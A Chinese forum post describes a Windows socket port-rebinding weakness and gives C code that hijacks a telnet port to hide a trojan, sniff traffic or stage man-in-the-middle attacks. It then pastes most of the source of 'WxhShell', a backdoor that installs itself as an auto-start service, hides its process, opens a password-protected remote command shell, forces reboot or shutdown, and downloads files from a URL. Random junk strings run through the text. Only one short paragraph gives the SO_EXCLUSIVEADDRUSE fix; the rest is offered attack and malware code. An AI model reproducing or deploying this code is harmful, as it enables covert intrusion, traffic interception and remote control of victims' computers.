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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |Q~5TL>b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WPNvZg9*c  
2k""/xMF'  
  saddr.sin_family = AF_INET; cX-) ]D  
/SYzo4(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WO6;K]  
A&;Pt/#'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;!N_8{ 7r  
RjQdlr6*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  *}`D2_uP  
TYr"yZ([  
  这意味着什么?意味着可以进行如下的攻击: fyt`$y_E[  
N]@e7P'9F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'WQ<|(:{  
|-k~Fa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EPwM+#|e-  
!F*CEcB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DC%H(2  
+aIy':P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C")NN s =  
yE),GJ-m\<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q" an6ht|  
qw%wyj7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +q4AK<y-  
wpPCkfPyL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5U&?P   
&8wluOs/5  
  #include 3sq(FsT  
  #include *6%r2l'kZ  
  #include '@+a]kCMev  
  #include    d#G H4+C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o8lwwM*  
  int main() -nrfu)G  
  { v/lQ5R1  
  WORD wVersionRequested; }fKpih  
  DWORD ret; 27KfT] =  
  WSADATA wsaData; a7Rg!%r  
  BOOL val; UKxeN[fv  
  SOCKADDR_IN saddr; cH%#qE3  
  SOCKADDR_IN scaddr; b:}+l;e5 2  
  int err; \a\ApD  
  SOCKET s; JmK[7t  
  SOCKET sc; BPzlt  
  int caddsize; -%x9^oQwY  
  HANDLE mt; 14v,z;HXj  
  DWORD tid;   x,SzZ)l-9  
  wVersionRequested = MAKEWORD( 2, 2 ); L>EC^2\  
  err = WSAStartup( wVersionRequested, &wsaData ); j8ebVq  
  if ( err != 0 ) { u ?n{r  
  printf("error!WSAStartup failed!\n"); [3QKBV1\  
  return -1; w_!]_6%{b  
  } Hh1OD?N)  
  saddr.sin_family = AF_INET; oUwu:&<Orm  
   0Bpix|mq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6+[7UH~pm^  
f}>S"fFI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hd}"%9p  
  saddr.sin_port = htons(23); OjiQBsgnj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \!4sd2Yi  
  { %v(\;&@  
  printf("error!socket failed!\n"); (7g1eEK%  
  return -1; c);(+b  
  } aBLE:v  
  val = TRUE; &t\KKsUtd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {r!X W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -Fj:^q:@u  
  { =,=tSp  
  printf("error!setsockopt failed!\n"); y$e'-v  
  return -1; G_] (7  
  } j.@TPf*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D'823,-).  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CdRgI^5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lU<n Wf  
`n!<h,S'2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Mz N7  
  { w<]Wg^dyQ  
  ret=GetLastError(); 8HyK;+ZkVd  
  printf("error!bind failed!\n"); ei8OLcw:x  
  return -1; 85fBKpEe  
  } wb }W;C@  
  listen(s,2); x-_!I>l&  
  while(1) kOGpe'bV  
  { _YH)E^If  
  caddsize = sizeof(scaddr); P:")Qb2  
  //接受连接请求 {AY `\G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v* nX  
  if(sc!=INVALID_SOCKET) E30VKh |  
  { J !:ss  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Iz#h:O  
  if(mt==NULL) (Js'(tBhiU  
  { >_y>["u6J#  
  printf("Thread Creat Failed!\n"); 7='M&Za  
  break; N*Owfr1 N  
  } ;Vad| -  
  } K6.*)7$#  
  CloseHandle(mt); "(+ >#  
  } 46dh@&U  
  closesocket(s); EnrRnVB  
  WSACleanup(); RJ%~=D  
  return 0; 5UwaBPj4  
  }   By 8C-jD  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^L;`F  
  { yp=2nU"o  
  SOCKET ss = (SOCKET)lpParam; MOFIR wVZ+  
  SOCKET sc; he/UvMu  
  unsigned char buf[4096]; .s_wP  
  SOCKADDR_IN saddr; (l.`g@(L  
  long num; `bGAc&,&  
  DWORD val; sY t8NsQ  
  DWORD ret; 3H%oTgWk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 > @ulvHL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P(W7,GD,k  
  saddr.sin_family = AF_INET; /R< Q~G|\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ipEsR/O  
  saddr.sin_port = htons(23); *fq=["O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nd&u*&S  
  { kg$<^:uX  
  printf("error!socket failed!\n"); ~h;c3#wuc  
  return -1; +[JGi"ca  
  } .(  vS/  
  val = 100; eA>O<Z1>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '$M=H.  
  { "YGs<)S  
  ret = GetLastError(); /0 ,#c2aq  
  return -1; %/H  
  } _?3bBBy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bgd1j,PWbW  
  { B_[^<2_  
  ret = GetLastError(); 'Z-jj2t}  
  return -1; G1Cn[F;e  
  } }0T1* .Cz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i+&*W{Re  
  { "6n~, $  
  printf("error!socket connect failed!\n"); Pb.-Z@  
  closesocket(sc); A8OV3h6]  
  closesocket(ss); x~}RL-Y2o  
  return -1; CCX\"-C  
  } un[Z$moN"  
  while(1) u|\Lb2Kb:  
  { _.Y?BAQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xb42R1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 abtAkf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @R?S-*o  
  num = recv(ss,buf,4096,0); OFCOMM  
  if(num>0) `,&h!h((  
  send(sc,buf,num,0); gydPy*  
  else if(num==0) ^zQ;8)ng  
  break; i7}) VDsZ  
  num = recv(sc,buf,4096,0); u(SdjLf:  
  if(num>0) )[6H!y5  
  send(ss,buf,num,0); z4 8,{H6h  
  else if(num==0) j3~:\H  
  break; JPgV7+{b[  
  } '1=t{Rw  
  closesocket(ss); MZE8Cvq0  
  closesocket(sc); X#(?V[F]  
  return 0 ; x<"e} Oo  
  } &@A(8(%  
dapQ5JT/  
{y'c*NS  
========================================================== H;}V`}c<`  
K%>uSS?  
下边附上一个代码,,WXhSHELL 9xC,i )  
ZYrXav<  
========================================================== -.1x!~.jX  
&M ~*w~w`  
#include "stdafx.h" jGd{*4{3+  
F`U%xn,  
#include <stdio.h> uU6+cDp  
#include <string.h> 7[:9vY  
#include <windows.h> DPi%[CRH  
#include <winsock2.h> ;]MHU/  
#include <winsvc.h> $\$5::}r  
#include <urlmon.h> b3x!tuQn  
 8OZc:/  
#pragma comment (lib, "Ws2_32.lib") U=p,drF,A  
#pragma comment (lib, "urlmon.lib") [a 5L WW  
NZ'S~Lr   
#define MAX_USER   100 // 最大客户端连接数 ~j mHzF kQ  
#define BUF_SOCK   200 // sock buffer J \1&3r|R  
#define KEY_BUFF   255 // 输入 buffer eM+]KG)}  
xe2Ap[Y'M  
#define REBOOT     0   // 重启 _;{n+i[  
#define SHUTDOWN   1   // 关机 (D{Fln\  
J(h=@cw  
#define DEF_PORT   5000 // 监听端口 Q! ]  
v-X1if1%  
#define REG_LEN     16   // 注册表键长度 (H<S&5[  
#define SVC_LEN     80   // NT服务名长度 sn/^#Aa=N  
_{KQQ5k\  
// 从dll定义API 91r#lDR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R|ViLty  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tv3Bej  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F>)u<f,C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 93[c^sc9*a  
v$w!hYsQ  
// wxhshell配置信息 h2!We#  
struct WSCFG { \Zqgr/.w/  
  int ws_port;         // 监听端口 ;4Y@xS2M  
  char ws_passstr[REG_LEN]; // 口令 }f<.07  
  int ws_autoins;       // 安装标记, 1=yes 0=no ykxjT@[  
  char ws_regname[REG_LEN]; // 注册表键名 ]0zXpMNI  
  char ws_svcname[REG_LEN]; // 服务名 ?z171X0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GNqw]@'Yf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~9p*zC3M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ytc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D&/(Avx.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^~0\d;l_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v1QE|@  
fnG&29x  
}; UC;_}>  
\D<rT)Tl  
// default Wxhshell configuration ~a4htj  
struct WSCFG wscfg={DEF_PORT, sYiegX`1c  
    "xuhuanlingzhe", }?^5\otu  
    1, R>To L  
    "Wxhshell", jtV{Lf3<  
    "Wxhshell", j>+x|!k  
            "WxhShell Service", +T+f``RcK  
    "Wrsky Windows CmdShell Service", =E8lpN'  
    "Please Input Your Password: ", g9H~\w  
  1, Ix^xL+Tm  
  "http://www.wrsky.com/wxhshell.exe", j Aw&5,  
  "Wxhshell.exe" B5IS-d  
    }; B8'" ^a^&-  
i))S%!/r~  
// 消息定义模块 bPAp0}{Fu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +g<2t,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cn XIE{9M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fa,a)JY>  
char *msg_ws_ext="\n\rExit."; 9Y- Sqk+  
char *msg_ws_end="\n\rQuit."; mrX3/e  
char *msg_ws_boot="\n\rReboot..."; Di<KRg1W]}  
char *msg_ws_poff="\n\rShutdown..."; * 'WzIk2  
char *msg_ws_down="\n\rSave to "; } '.l'%  
#qGfo)  
char *msg_ws_err="\n\rErr!"; ;+g p#&i`  
char *msg_ws_ok="\n\rOK!"; :Oo(w%BD]  
/-b)`%Q|Y  
char ExeFile[MAX_PATH]; *T*=~Y4kE  
int nUser = 0; B@Ez,u5  
HANDLE handles[MAX_USER]; +#}I^N  
int OsIsNt; :se o0w]  
cXFNX<  
SERVICE_STATUS       serviceStatus; 0 ML=]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &7!&]kA+  
Pk7Yq:avL  
// 函数声明 ``)ys^V  
int Install(void); j8$*$|  
int Uninstall(void); $U<so{xn%  
int DownloadFile(char *sURL, SOCKET wsh); b-'41d}Hn  
int Boot(int flag); R)"Ds}1G  
void HideProc(void); v9( ->X'  
int GetOsVer(void); @Nn9- #iW  
int Wxhshell(SOCKET wsl); Pdmfn8I]%  
void TalkWithClient(void *cs); :[ m;#b  
int CmdShell(SOCKET sock); rJ4 O_a5/  
int StartFromService(void); Igt:M[ /  
int StartWxhshell(LPSTR lpCmdLine); fD  
YQvN;W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y~w2^VN=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <->Nex  
~&4Hc%*IB  
// 数据结构和表定义 qYBoo]}a  
SERVICE_TABLE_ENTRY DispatchTable[] = X#j-Ld{j  
{ Wjn1W;m&g  
{wscfg.ws_svcname, NTServiceMain}, >c*}Do{lG  
{NULL, NULL} ` /#f8R1g  
}; B?'`\q) UL  
nPj%EKdY4  
// 自我安装 8Gzc3  
int Install(void) hn#i,XnY  
{ ya0L8`q  
  char svExeFile[MAX_PATH]; !jL|HwlA  
  HKEY key; UB }n=  
  strcpy(svExeFile,ExeFile); v=EV5#A  
0'wB':v  
// 如果是win9x系统,修改注册表设为自启动 8bLA6qmM\  
if(!OsIsNt) { cu5Yvp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "jH=O(37  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "G-} wt+P  
  RegCloseKey(key); \/g.`Pe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o_p#sdt"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S H2|xn  
  RegCloseKey(key); r t@Jw]az  
  return 0; fpJM)HU  
    } l&S2.sC  
  } 1P:r=Rt/  
}  AC@WhL  
else { o7)<pfif  
S#Tc{@e  
// 如果是NT以上系统,安装为系统服务 l)m\i_r:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U:ggZ`.  
if (schSCManager!=0) 0f}zm8p7.  
{ NBuibL  
  SC_HANDLE schService = CreateService 1{i)7 :Y  
  ( Kv^ez%I  
  schSCManager, fNNkc[YTZI  
  wscfg.ws_svcname, ^I=c]D]);  
  wscfg.ws_svcdisp, !qsk;Vk7Z  
  SERVICE_ALL_ACCESS, ?Y7'OlO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q(4W /y  
  SERVICE_AUTO_START, Z{s&myd  
  SERVICE_ERROR_NORMAL, Y u\<  
  svExeFile, la:i!q AH  
  NULL, D7H,49#1Q  
  NULL, @d]I3?`  
  NULL, sgp5b$2T.  
  NULL, $_CE!_G&)  
  NULL =p,+a/*  
  ); W L$nchS9  
  if (schService!=0) v!n\A}^:  
  { 9otA5I^v  
  CloseServiceHandle(schService); wegu1Ny  
  CloseServiceHandle(schSCManager); ~N2){0 j4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j&6'sg;n)  
  strcat(svExeFile,wscfg.ws_svcname); 2`hc0 IE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -.-j e"E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k~Qb"6n2  
  RegCloseKey(key); 7\m.xWX e  
  return 0; sVtx h]  
    } <`,pyvR Kv  
  } 4A^=4"BCV  
  CloseServiceHandle(schSCManager); !Z[dK{ f"  
} eIBHAdU+g/  
} ~SgW+sDF u  
tgXIj5z  
return 1; px;5X4U  
} i1k(3:ay<  
yQ5&S]Xk$$  
// 自我卸载 _Mq0QQ42  
int Uninstall(void) 2c`m8EaJ  
{ vH/ z|<  
  HKEY key; :9un6A9JS  
Y [Jt+p]  
if(!OsIsNt) { |g<1n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }#}IR5`=E  
  RegDeleteValue(key,wscfg.ws_regname); |M]#D0v  
  RegCloseKey(key); Tap=K|b ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AoB~ZWq  
  RegDeleteValue(key,wscfg.ws_regname); jiQJ{yY  
  RegCloseKey(key); XDs )  
  return 0; 1T:M?N8J  
  } os6p1"_\f  
} "D0:Y(\  
} dzJ\+ @4  
else { {* S8n09v  
8Q&.S)hrN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e=K2]Y Q{  
if (schSCManager!=0) PkA_uDhw  
{ y+xw`gR:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0!X;C!v;  
  if (schService!=0) H%N !;Jz=  
  { par| j]  
  if(DeleteService(schService)!=0) { gI8r SmH  
  CloseServiceHandle(schService); ^% y<7>%  
  CloseServiceHandle(schSCManager); #eSVFD5ZU  
  return 0; q>:>f+4  
  } 7 j$ |fS  
  CloseServiceHandle(schService); E +\?|q !T  
  } > w:+nG/r  
  CloseServiceHandle(schSCManager); fDy Fkhc  
} >;V ? s]  
} #U45H.Rz  
@V{s'V   
return 1; Tdtn-  
} ]"bkB+I  
jO xH' 1I  
// 从指定url下载文件 n5CjwLgu\b  
int DownloadFile(char *sURL, SOCKET wsh) MG ,exN @  
{ #?%akQ+w  
  HRESULT hr; KWtLrZ(j  
char seps[]= "/"; .w5#V|   
char *token; z d 9Gi5&  
char *file; o=i)s2   
char myURL[MAX_PATH]; +E8 \g  
char myFILE[MAX_PATH]; )6mx\t  
8 tq6.%\  
strcpy(myURL,sURL); f1GV6/| m  
  token=strtok(myURL,seps); 3=o^Vv  
  while(token!=NULL) !z@QoD  
  { =f'MiU!p6  
    file=token; :M" NB+T  
  token=strtok(NULL,seps); Fx#0 :p  
  } )=VSERs  
K..L8#SC  
GetCurrentDirectory(MAX_PATH,myFILE); )o!y7MTl  
strcat(myFILE, "\\"); 86Q\G.h7  
strcat(myFILE, file); }#~@HM>6Z  
  send(wsh,myFILE,strlen(myFILE),0); U-.?+ `  
send(wsh,"...",3,0); p&1IK8i"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v&g(6~b_>  
  if(hr==S_OK) VsS. \1  
return 0; APxy %0Q  
else i! G^=N  
return 1; vt{s"\f  
(I3:u-A  
} V9xZH5T8^  
*o]Q<S>lH  
// 系统电源模块 _nw=^zS  
int Boot(int flag) {SH +lX0]{  
{ Z9-HQ5>  
  HANDLE hToken; mq~rD)T  
  TOKEN_PRIVILEGES tkp; 6GVj13Nr  
Gy{C*m7Q  
  if(OsIsNt) { }'HJVB_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ' k~'aZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ao%E]M  
    tkp.PrivilegeCount = 1; $47cKit|k:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (lv|-Phc.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RFF&-M]  
if(flag==REBOOT) { `P;fD/I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n]&/?6}  
  return 0; ow:}NI  
} {XYv &K  
else { R_4]6{Rm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kIS&! V  
  return 0; S0.   
} 4ujw/`:/m  
  } hDc, #~!  
  else { S-^y;#=  
if(flag==REBOOT) { q^}QwJw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |RT#ZMJek  
  return 0; 0:-i  
} mo%9UL,#W  
else { Zw(*q?9\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s=`1wkh0  
  return 0; }9T$XF~  
} G'c!82;,?  
} `5}XmSJ?5  
$LUNA.  
return 1; h>B>t/k?  
} 2^ 'X  
;OW`(jC  
// win9x进程隐藏模块 ?_9cFo59:  
void HideProc(void) | >xUgpQi  
{ [~$Ji&Dd  
>W 2Z]V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G hH0-g{-  
  if ( hKernel != NULL ) e* gCc7zz  
  { 9TGjcZ1S'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qxj &IX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,sPsL9]$  
    FreeLibrary(hKernel); rtcY(5Q  
  } 9ls<Y  
FY"!%)TV  
return; = ! D<1<  
}  8.D$J  
\~ O6S`,  
// 获取操作系统版本 2d+IROA  
int GetOsVer(void) (n7 v $A  
{ ai"Kd=R  
  OSVERSIONINFO winfo; ;zI;oY#.y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }x % ;y]S  
  GetVersionEx(&winfo); `T  $lTP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qe!`LeT#  
  return 1; HKO00p7  
  else PQAN,d  
  return 0; C`OdMM>D  
} * bmdY=#7  
K1RTAFf /  
// 客户端句柄模块 2!/*I:  
int Wxhshell(SOCKET wsl) ]dk44,EL  
{ Y<Y5HI"  
  SOCKET wsh; \XwXs 5"G  
  struct sockaddr_in client; @ =x=dL(  
  DWORD myID; s$xctIbm?,  
w#_xV =  
  while(nUser<MAX_USER) 3$+|nP:U  
{ ~V3pj('/)'  
  int nSize=sizeof(client); o?uTL>Zin  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :pQZ)bF  
  if(wsh==INVALID_SOCKET) return 1; F;yq/e#Q  
 8YFfnk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ty\&ARjb 8  
if(handles[nUser]==0) Nb\4Mv`  
  closesocket(wsh); A"`6 2  
else h$|K vS  
  nUser++; xin<.)!E  
  } WQ4:='(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4A0R07"  
e#L/  
  return 0; 7dI+aJ  
} y|V/xm+Fp  
0[}"b(O{  
// 关闭 socket Md'd=Y_0  
void CloseIt(SOCKET wsh) 5T}$+R0&  
{ kV"';a  
closesocket(wsh); !I5_ln  
nUser--; UzFd@W u#  
ExitThread(0); k!O#6Z  
} e#IED!U  
esmQ\QQ^1  
// 客户端请求句柄 1g{`1[.QO  
void TalkWithClient(void *cs) uy{mSx?td  
{ +#O?a`f  
tDFN *#(  
  SOCKET wsh=(SOCKET)cs; _m0H gLS~  
  char pwd[SVC_LEN]; {c|nIwdB  
  char cmd[KEY_BUFF]; u9}}}UN!  
char chr[1]; 8m1 @l$  
int i,j; @m!~![  
],R rk]1  
  while (nUser < MAX_USER) { ?sDm~]Z  
1eI >Yy>}  
if(wscfg.ws_passstr) { *\m 53mb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AS`0.RC-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hk8:7"4Q  
  //ZeroMemory(pwd,KEY_BUFF); F6Zl#eL  
      i=0; KbVV[ *  
  while(i<SVC_LEN) { 7qA);N  
K97lP~Hu  
  // 设置超时 F >2t=r*9  
  fd_set FdRead; LlL\7?_;  
  struct timeval TimeOut; Zu:cF+h l  
  FD_ZERO(&FdRead); #wbaRx@rc  
  FD_SET(wsh,&FdRead); p #'BV'0bl  
  TimeOut.tv_sec=8; s0v?*GRX  
  TimeOut.tv_usec=0; $bh2zKB)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sj(uc#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sIdo(`8$  
QsI#Ae,O#;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zTrAk5E  
  pwd=chr[0]; c3&F\3  
  if(chr[0]==0xd || chr[0]==0xa) { WaF<qhu*  
  pwd=0; -vwkvNn8  
  break; g1muT.W]S  
  } r Y|'<$wvg  
  i++; No<2+E!  
    } DzO0V"+H}k  
bmhvC9  
  // 如果是非法用户,关闭 socket cEi{+rfZd|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |gx{un`  
} V=k!&xN~  
ui`xgR\6Rh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Nd|VAe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qfvd( w  
DSYtj} >  
while(1) { 1F-o3\  
*aS|4M-  
  ZeroMemory(cmd,KEY_BUFF); 6 +^V  
m,aJ(8G  
      // 自动支持客户端 telnet标准   iyU@|^B"Wa  
  j=0; =#n05*^  
  while(j<KEY_BUFF) { e"hm|'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $1.iMHb  
  cmd[j]=chr[0]; Fp4eGuWH#  
  if(chr[0]==0xa || chr[0]==0xd) { v<_}Br2I[  
  cmd[j]=0; I:u xj%  
  break; F}<&@7kF  
  } 2{!'L'km  
  j++; a+szA};  
    } $&EZVZ{r  
's@v'u3  
  // 下载文件 [nn/a?Z4S  
  if(strstr(cmd,"http://")) { ?c"No|@+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a-x8LfcbF  
  if(DownloadFile(cmd,wsh)) l!Z>QE`.S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N+\#k*n?  
  else 26>e0hBh&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gl:vJD  
  } T,Cq;|g5E  
  else { =t<!W  
-aLBj?N c[  
    switch(cmd[0]) { HI#}M|4n  
  6g29!F`y  
  // 帮助  Us k@{  
  case '?': { q`E6hm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qD7(+a  
    break; (' /S~  
  } *:\-:*  
  // 安装 c%>t(ce`Tl  
  case 'i': { h eZJ(mR  
    if(Install()) KCq qwGM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lg|j0-"N  
    else `x~k}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p*_g0_^  
    break; HGfYL')Z  
    } +VDwDJ)lG  
  // 卸载 z 4Qz9#*"^  
  case 'r': { B{H;3{0  
    if(Uninstall()) JVwYV5-O<0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0\ '  
    else qc|;qPj   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4o9#B:N]J  
    break; hz<kR@k}  
    } hUSr1jlA  
  // 显示 wxhshell 所在路径 WTA0S}pT  
  case 'p': { wWY6DQQB  
    char svExeFile[MAX_PATH]; fU!C:  
    strcpy(svExeFile,"\n\r"); VvSD &r^qI  
      strcat(svExeFile,ExeFile); KArf:d  
        send(wsh,svExeFile,strlen(svExeFile),0); M ioS  
    break; )J<Li!3  
    } "'94E,W  
  // 重启 aWm0*W"(@  
  case 'b': { YN n,{Xi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y mY,*Rb  
    if(Boot(REBOOT)) JMuUj_^}7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^USj9HTK  
    else { Au#(guvm  
    closesocket(wsh); 0?BT*  
    ExitThread(0); /8q7pwV  
    } |iLeOztuE  
    break; i cQsA  
    } lEQ 63)Z  
  // 关机 zu(/ c  
  case 'd': { S"CsY2;  
